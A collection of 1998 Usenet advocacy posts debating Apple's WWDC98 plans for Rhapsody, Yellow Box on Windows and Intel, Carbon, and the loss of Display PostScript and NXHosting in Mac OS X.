References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104>
In article <ericb-1505981832560001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> YB, yes. YB for Windows is questionable. Will it run on NT5 and Win98?
> If yes, where are those announcements from Apple?
http://www.stepwise.com/SpecialCoverage/WWDC98/
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:48:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CC641.102D6768@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com> <6jhuvp$aop$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> In article <6jhtr4$ibt$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
>
> > mark@milestonerdl.com wrote:
>
> > > [...] Apple has no intention of supporting it in the long-term.
>
> > According to Scott Anguish's detailed WWDC notes:
>
> > :: One thing that I do want to note is that it was mentioned on
> > :: several occasions that Yellow Box for Windows is a long-term
> > :: commitment, and that it will run on Windows 98 and NT 5.0
> > :: (if it ever appears). I think it was mentioned that DR2 runs
> > :: on the current Windows 98 beta.
>
> > See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
>
> > Satisfied?
>
> Of course not, nothing less than a notarized certificate handed to him
> by Steve Jobs himself will satisfy him. :)
No, a simple press release would be the end of it.
(I won't debate that Apple is lying...or that with a new CEO comes a new plan, or
that.....)
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 15 May 1998 23:28:09 GMT
Organization: Frank's Area 51
Message-ID: <6jij29$dq6$5@news.seicom.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net>
<355CC6E3.F30A0812@nstar.net>
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Cc: mjpeck@nstar.net
In <355CC6E3.F30A0812@nstar.net> "Michael J. Peck" wrote:
> Frank M. Siegert wrote:
>
> [cut]
>
> > VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
> > there.
>
> I don't really think VNC is a viable solution. VNC simply takes a
> picture of the current framebuffer and sends it over the wire with your
> choice of compression. Unlike a real remotability protocol, e.g. X, it's
> inefficient and barely-usable over anything less than 10Mbps Ethernet.
True, but NXHost'ing over a slow line can be quite challenging too, beside
VNC is only slow for Windows because of the braindead way it draws to the
framebuffer. VNC server on X11 and client on X11 or Windows does not feel
sluggish (at least over a 10Mbps Ethernet :-)).
And using a hypothetically ported VNC one could provide access to a Rhapsody
(or OS/NS) box from a Windows box thus infiltrating the mindset of the enemy
:-)...
Oh, excuse me, there are no enemies left anymore, we are all good friends
now. How boring...
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* "The answer is vi, what was your question...?"
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 17:49:45 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981749450001@132.236.171.104>
References: <B17C8D50-7E886@206.165.43.134> <6j857s$1cc$4@ironhorse.plsys.co.uk>
In article <6j857s$1cc$4@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Carbon Reference, p 72:
>
> "Due to limited developer adoption, Carbon will not support
QuickDraw GX."
How about this instead:
"Due to limited developer adoption to date, Carbon will not support Carbon."
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 23:41:42 GMT
Organization: Frank's Area 51
Message-ID: <6jijrm$rtj$1@news.seicom.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
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Cc: don@misckit.com
In <6jiaqk$6sf$4@news.xmission.com> Don Yacktman wrote:
> I'll sure miss Yap, though. It was nice to have a little interpreted
> scratchpad for experimenting with things before committing them to compiled
> code... and importing .eps images will be tougher now. Guess we'll need
to
> have Frank Seigert sell us an EPS->PDF distilling image filter now...
Most likely you will have Yap.app back as it is already running here without
DPS (BeYapTwo.app - currently in alpha testing - uses my own stuff and does
not rely on DPS anymore). And for an EPS->PDF import filter - a port of the
pstill core should be easy to do.
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* "The answer is vi, what was your question...?"
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 17:52:26 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981752260001@132.236.171.104>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu>
In article <35579c6d.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
>
> > And if you believe some reports, there are now three APIs for OS X: System
> > 7, Carbon, and perhaps Yellow Box too. If we're really lucky, the new
> > "Carbon" APIs will be taken from YB, but I'm not sure if that's workable
> > given Apple's claims of easy porting to Carbon.
>
> You have absolutely no understanding of what Carbon is. Give it up.
Sure I do. That's why I know it won't be using YB or YB-derived APIs even
though that would be cool (it would get people to learn a little Yellow a
little at a time; as it is, major Mac developers are just going to write
to Carbon and ignore Yellow).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 18:10:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jiehj$bap$1@crib.bevc.blacksburg.va.us>
References: <andyba-ya02408000R1405981545450001@news> <6jicam$o39$1@larry.admin.phil.uu.nl>
In article <6jicam$o39$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek Wiedijk) wrote:
> But the tune changed from "wait for Rhapsody!" to "wait for
> Mac OS X!" I can't sell that.
They're not saying to wait for _anything_. They're shipping products.
You buy what you want. If Rhapsody doesn't meet your needs, wait. If
it does, buy it. It looks like the Rhapsody they're shipping will have
everything they promised for it, so what's the problem?
> The idea was to buy, somewhere in the first quarter of 1999,
> new Macs for everyone, drop Mac OS old style everywhere, and
> change to Rhapsody on all machines. Given the current
> developments, _well,_ I don't think that will be _too_ good
> an idea... (please tell me I'm wrong.)
You're wrong. Suppose everyone gets new Macs with Rhapsody, and then
they outright KILL Rhapsody as an independent product. So what? MacOS X
will do everything Rhapsody does and more. It's pretty much a _superset_
of Rhapsody, except for perhaps the Unix support, and all indications
I've seen suggest that you'd be able to get the Unix too as an option.
If you get Rhapsody and develop something to run on it, it will likely
be a Yellow app, but possibly a Blue one. Blue apps will be binary
compatible on OS X, and Yellow apps from Rhapsody will be at least
source-compatible. You lose _nothing_ with MacOS X. You don't throw
away your investment, in hardware, software, or development time.
Apple is NOT dropping Yellow support or suggesting that you use Carbon
instead for new apps. They are facing the reality that people _do_
want their MacOS apps to run better and that large developers are not
inclined to port huge codebases over to Yellow. This would have been the
case regardless of whether or not Carbon existed; the big apps would not
have come across to Yellow. That would have put a damper on Rhapsody,
since those apps would have had to run in the Blue "penalty box", in a
separate window or alternate screen and with all of the standard MacOS
non-protected memory and non-PMT problems. Now those problems won't exist
anymore to hamper someone's inclination to use Rhapsody (whether or not
Rhapsody is an independent product or just another name for OS X, it will
have Carbon). And Yellow will be available on what is Apple's official
new _mainstream_ OS. The future for "Rhapsody" is much brighter now.
The only argument you can make against things being not as good for
Rhapsody now is that with a better Carbon, developers are less inclined
to develop for Yellow, but this is not really the case. I guarantee
you that the big developers simply would not have ported to Yellow,
no matter what. They have too much code invested in the MacOS APIs,
and what would porting to Yellow gain them? Most of them _already_ have
cross-platform compatibility, and the other main advantage of Yellow
is to save development time -- but that time is already spent for large
existing apps. And with all the big-name apps relegated to the "penalty
box" on Rhapsody, people would have taken a look at it and said "there
are no `native' big-name apps for it, so I don't want to risk developing
for it, even _with_ Yellow". Now, the big-name apps will be first-class
citizens on Rhapsody in the sense that they transparently intermingle
with Yellow apps, and Apple has announced that OS X is going to be their
official _consumer_ OS (not just "server-only"), so developers are less
likely to neglect it. And once they're paying attention to it, the ones
that don't have large code-bases invested in their next project will
be more likely to choose Yellow, since it will run on the "mainstream"
OS -- also as a first-class citizen.
In summary: if you were willing to switch to Rhapsody/PPC before,
you should be even _more_ willing to do so now; the technologies in it
are now more likely to be commercially successful. Even if there stops
being a product called "Rhapsody", everything you do on Rhapsody now
will work on OS X later.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 21:07:56 GMT
Organization: Cygnus Solutions
Message-ID: <6jiarc$n53$4@cronkite.cygnus.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
<6jgsb2$934$1@crib.bevc.blacksburg.va.us> <6ji0ni$n53$3@cronkite.cygnus.com>
<6ji2p3$avt$1@crib.bevc.blacksburg.va.us> <6ji7ma$enf$4@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6ji7ma$enf$4@news.idiom.com> John C. Randolph wrote:
> Nathan Urban may or may not have said:
> -> In article <6ji0ni$n53$3@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
> ->
> -> > In <6jgsb2$934$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> ->
> ->
> -> > I can think of lots
> -> > of ways to have an App draw, but the workspace do the refresh, in a
way
> that
> -> > doesn't require the workspace to ask the App to redraw. In fact, I
can
> think
> -> > of a light weight windowing design mechanism that would do this
without
> -> > sacrificing networking.
> ->
> -> > [...]
> ->
> -> Your idea sounds plausible to me, but I'm not an expert. Now someone
> -> tell me that Apple's going to do this and not sacrifice remote-hosting.
> :-/
>
> The problem is, this approach means that you hve to ship rasters between
the
> Application's memory and the window server's memory. With X and DPS, you
> send drawing commands between the app and the window server, which is
*much*
> more compact. It can be made to work on a single host, but trying to do
> remote hosting will soak the network.
>
Only if you always send the full image across the IP channel. You don't
really have to always do that.. when I said updates, I meant only sending
those regions of the image that change. Basically blitting small pieces that
amount to a 'diff' type set of information. I was under the impression that
that's how X does it (sending pixmap type data from client to server).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162> <ericb-1505981818400001@132.236.171.104>
Message-ID: <355cdba1.0@news.depaul.edu>
Date: 16 May 98 00:19:45 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> Rhapsody/Intel is missing from the picture.
Only if you don't see the whole picture.
> I contend that there is a lot of overenthusiastic reading between the
> lines going on today. The people doing that reading think Rhapsody/Intel
> and YB/Windows are not dead.
I contend that there's a lot of non-reading going on.
Read the slides.
--
"... and subpoenas for all." - Ken Starr
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:18:40 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981818400001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162>
In article <see-below-1405982034460001@209.24.240.162>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> > Yeah, right. This "adding a new feature set" excuse is the same BS we got
> > when they replaced Copland with Rhapsody. "We're killing our old
> > modernized OS but we'll give you something even better!"
>
> But they didn't kill it. First of all, Rhapsody CR1 is still due _this_
> September, only a bit late, and with all the promised features. That's
> _everything_ that was promised before! Apple never implied they would be
> shipping anything more than that!
Rhapsody/Intel is missing from the picture.
> It's only the version that's better than anything they promised before
> that's being shipped in 16 months. What they previously promised is still
> slated to ship in 4 months (both MacOS 8.5 and Rhapsody CR1).
Both of which are late, the latter significantly so (although not by
Microsoft standards).
> > The original plan, as I recall it, was that Rhapsody (and YB with
> > cross-platform compatibility) would become Apple's mainstream OS.
>
> While it was implied that this might eventually happen, most of it was
> overenthusiastic reading between the lines. From the very beginning, Gil
> Amelio, Steve Jobs, and many others at Apple have gone to great pains to
> communicate that Rhapsody would _not_ be their main consumer OS before the
> end of the century.
I contend that there is a lot of overenthusiastic reading between the
lines going on today. The people doing that reading think Rhapsody/Intel
and YB/Windows are not dead.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:21:16 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CCDEC.BB17EB97@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us>
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As I remember, UFS has speed and no fragmentation (to speak of) problems. I don't believe
Speed or little fragmentation are words that normally describe HFS.
There is a Linux version of UFS that makes it the fastest.
I tried to find a web page(s) that would do the comparison justice. None I could find.
Nathan Urban wrote:
> In article <6jib4k$nu6$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek Wiedijk) wrote:
>
> > The _big_ difference is that (outside the blue box), Rhapsody
> > will contain _no_ Mac OS legacy code (well, let's forget
> > about HFS+ for the moment: using that instead of UFS is a bad
> > idea anyway). Mac OS X will. Lots, actually.
>
> What makes you say that?
>
> (Incidentally, why is HFS+ over UFS a bad idea? I don't know much about
> the former.)
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:24:26 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981824260001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
In article <6j82vd$1cc$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Well, sadly you're blaming the wrong group.
>
> The people to blame are the Mac developers, and the Big Brand names in
> particular, who didn't stand up and embrace Rhapsody.
I agree that developers share much of the blame. But it comes full circle
when you realize that a lot of developers don't embrace new Apple
technologies because Apple has burned them so many times in the past. In
that respect Apple certainly shares some blame. Apple needed to make a
strong case that this time things would be different. They didn't do
that.
> What Apple has had to do is make itr even easier for these people to come to
> the Rhapsody table, and blur things such that it's now almost impossible for
> anyone to see exactly where all that NeXT-based magic has gone.
I would love to see them port ClarisWorks/AppleWorks to YB as a
demonstration of the power of YB in a cross-platform world. ClarisWorks
was to have been the demo product for OpenDoc, but it was scrapped.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Unified Imaging Mode =?US-ASCII?Q?=3D=3D=3F?= PDF
Newsgroups: comp.sys.next.advocacy
References: <355c906a.0@206.25.228.5>
Message-ID: <355cdc72.0@news.depaul.edu>
Date: 16 May 98 00:23:14 GMT
John Kheit <jkheit@xtdl.com> wrote:
> And apparently Ghostscript had fees associated with it for commercial
> software. So there you go.
How hard would it be for someone to write a free GhostScript-powered
PS-PDF image filter service?
--
"... and subpoenas for all." - Ken Starr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 18:22:32 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jif78$bcp$1@crib.bevc.blacksburg.va.us>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <355c810a.0@206.25.228.5>
In article <355c810a.0@206.25.228.5>, jkheit@xtdl.com wrote:
> nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> > UI is a big reason why I chose NEXTSTEP, but the technology
> > improvements in Rhapsody/OS X are enough that I'll switch anyway.
> That's what I was thinking. I could tone down that tinker toy UI
> they're so proud of developing to something reasonable and deal.
Hopefully an appearance manager will be able to solve much of that
problem.
> But now I hear this DPS thing; that it's going away. Which I also
> could care less about on the specifics. Personally, dumping it to
> get rid of licensing problems seems like a good idea (or at least
> threat). But the ominous prospect of replacing with QuickDraw
> makes me ill.
Well, you don't have to access the QuickDraw API directly. It's more
like they're taking the PS calls and rewriting their implementations
to internally use QD direct to screen. If I'm understanding things
correctly.
> Whatever they replace it with, god help us, should
> be a ****UNIFIED IMAGING/PRINTING MODEL****.
And that's exactly what they're giving us. Have you seen Scott Anguish's
Stepwise report on graphics?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 18:26:11 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jife3$bdi$1@crib.bevc.blacksburg.va.us>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <6ji6gt$n8h$4@msunews.cl.msu.edu>
In article <6ji6gt$n8h$4@msunews.cl.msu.edu>, spammers@ruin.the.internet.channelu.com wrote:
> In <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> > In article <1998051512561800.IAA17653@ladder01.news.aol.com>,
> willadams@aol.com (WillAdams) wrote:
> If I wanted a Mac I would have bought a Mac instead. The GUI is one
> of the reasons why all the Mac heads that saw my NeXT said - "that is cool".
> I hope it's customizable but I doubt it.
Well, my thinking is that it probably _will_ be customizable, in the OS
X timeframe. The reasoning goes: OS X will have an Appearance Manager
with themes, so that part _will_ be customizable to something that looks
like NEXTSTEP. It will also have Carbon/Yellow on the same screen.
If Yellow _wasn't_ customizable, then if you switched themes, the Carbon
apps would change appearance but the Yellow ones would stay the same.
So _everything_ will probably wind up customizable.
At least, I hope so.
> Well we'll keep looking at where this is all going. The whole DPS -
> whatever debacle and loss of NXHosting - will we be left with X?
Loss of NXHosting is bad. :( All the other changes in the graphics
model seem good.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 16:23:07 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CB23B.6C5C0796@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <joe.ragosta-1505981421490001@wil136.dol.net>
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Joe Ragosta wrote:
> In article <ericb-1405981303550001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
> > In article <6jcf2d$iu2@newsb.netnews.att.com>,
> > gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > > What is everybody's problem ?
> > The death of YB as a cross-platform solution. If Apple were going to
> > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > I think they would have announced it at WWDC. They did not. Read between
> > the lines. What does this tell you?
> It says that they didn't feel like repeating themselves.
Other options:1) Apple doesn't HAVE a plan
2) Apple is planning on a bait-n-switch, such that the only place to go with
YellowBox is PPC when they let the Intel side die.
> Cross-platform support has always been a key feature of the Yellow Box.
> It's still there and is going to stay there. Until someone finds a
> statement from Apple saying otherwise.
And Apple was telling Newton Developers in mid Feb that "there was no need to
worry, just keep doing what you are doing"
Then at the end of Feb, no more Newton.
Professional suicide in MIS to offer up YellowBox as a long-term cross-platform
solution at this time. With no announced plans for NT 5.x, where would you go
when NT 4 runs out? Count on the good graces of Apple?
Stealth product changes don't make friends in MIS. Perhaps that's part of
Apple's problem with getting into MIS eh?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
Message-ID: <355cdd40.0@news.depaul.edu>
Date: 16 May 98 00:26:40 GMT
In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> :: (if it ever appears). I think it was mentioned that DR2 runs
> :: on the current Windows 98 beta.
> See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
> Satisfied?
Of course Marc's not satisfied. He's an ankle-biting troll, trying
to match Harker's prodigious output.
--
"... and subpoenas for all." - Ken Starr
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 16:33:14 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CB499.EB48D472@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
> It's in most of their discussions on YB.
And 98? And NT 5.X? That's Micro$oft's future. Why hasn't Apple announced planned
support for them? NT4/95 will go away...does Windows YB go away then too, with the
only supported YB on PPC?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 18:30:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jifmd$bec$1@crib.bevc.blacksburg.va.us>
References: <355bc985.0@206.25.228.5> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
In article <6jiaqk$6sf$4@news.xmission.com>, don@misckit.com wrote:
> Additionally, it seems that the RDR Preferences app already supports a lot of
> this--the ability to change rendering colors and fonts throughout the UI,
> etc. Some is missing, but a lot is there. Also, I've noticed that there are
> more and more user defaults (dwrites) available for customizing the GUI look.
That reminds me.. if you can answer this, does RDR2 allow for left/right
scrollbar customization? I know you could do it with a dwrite in DR1,
but I'd rather not have it hidden, and it also changed the appearance
to NEXTSTEP scrollbar appearance, which looks out-of-place.. I just
want them on the left, no matter what they look like.
If you can't answer, don't bother to reply..
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114>
Message-ID: <355cde32.0@news.depaul.edu>
Date: 16 May 98 00:30:42 GMT
In comp.sys.next.advocacy Brad Hutchings <brad@hutchings-software.com> wrote:
> Someone starting a new app should definitely consider YB _when MacOSX
> ships_. Right now, however, if you start a new app with hopes of bringing
> it to market by fall, you might be taking a significant risk writing to YB.
True. But if they can _afford_ for the app to not be a serious revenue
source at first, releasing it for Rhapsody first could be useful. They'd
get some feedback on it and some real-world usage. Then when OSX ships,
they can have a quality app, having gone through the baby steps with
a smaller market. Shipping for Rhapsody 3-6 months before OS X could
be considered a revenue-producing open beta. ;)
- Jon
--
"... and subpoenas for all." - Ken Starr
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Fri, 15 May 1998 16:49:10 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CB856.7F812AD0@milestonerdl.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <joe.ragosta-1505981322370001@wil95.dol.net>
Mime-Version: 1.0
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Steve's keynote time index 54:44 he mentions that Carbon allows for a OS 8 AND OS
X version of your code.
Time index 57:00 "We are targeting MacOS X for the G3." then "In addition carbon
Apps will run on on System 8 on the complete line of products we ship with System
8"
ends 57:34
Looks to me like Job's plan is to support G3 and up.
Joe Ragosta wrote:
> In article <ericb-1405981420100001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> > In article <6j8i0r$aq$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> >
> > > In article <MPG.fc18109c8dbd1a19896ae@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
> > >
> > > > It is much harder to justify 2 years, or even 6 months, to rewrite our
> > > > apps for Rhapsody. We will then have two completely separate code bases
> > >
> > > Why? Yellow on MacOS.
> >
> > OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> > vast majority of machines out there...
>
> Let's not jump to conclusions.
But instead suggest to Apple that your platform of choice be supported.
> OS X will reportedly run on any PPC
> machine. I don't expect 040 support to continue indefinitely--even if they
> _didn't_ have OS X.
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 15 May 1998 22:50:03 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd8053$3839e0c0$c07498cf@edwint.rauland.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j4eta$rbo$1@crib.bevc.blacksburg.va.us> <35563AB3.B8A9AAC@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote in article
<35563AB3.B8A9AAC@nstar.net>...
> Nathan Urban wrote:
>
> > Others have pointed out your problem. What I don't understand is,
> > why are you singling out Joe?? If you've been paying attention at all,
> > you'd have noticed that the rest of us _also_ say that it's as simple
as
> > clicking a box and recompiling, as long as you stay within the Yellow
Box.
>
> I think the point was that while "the rest of [you]" know what you're
> talking about, and can answer the question...
>
> ...draw your own conclusions. It's a matter of "legitimacy of claims".
>
> MJP
Hmmm.......So Joe doesn't know what he's talking about, even though he's
saying the same things as the people who you do credit as knowing what
they're talking about?
Edwin
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:00:31 -0400
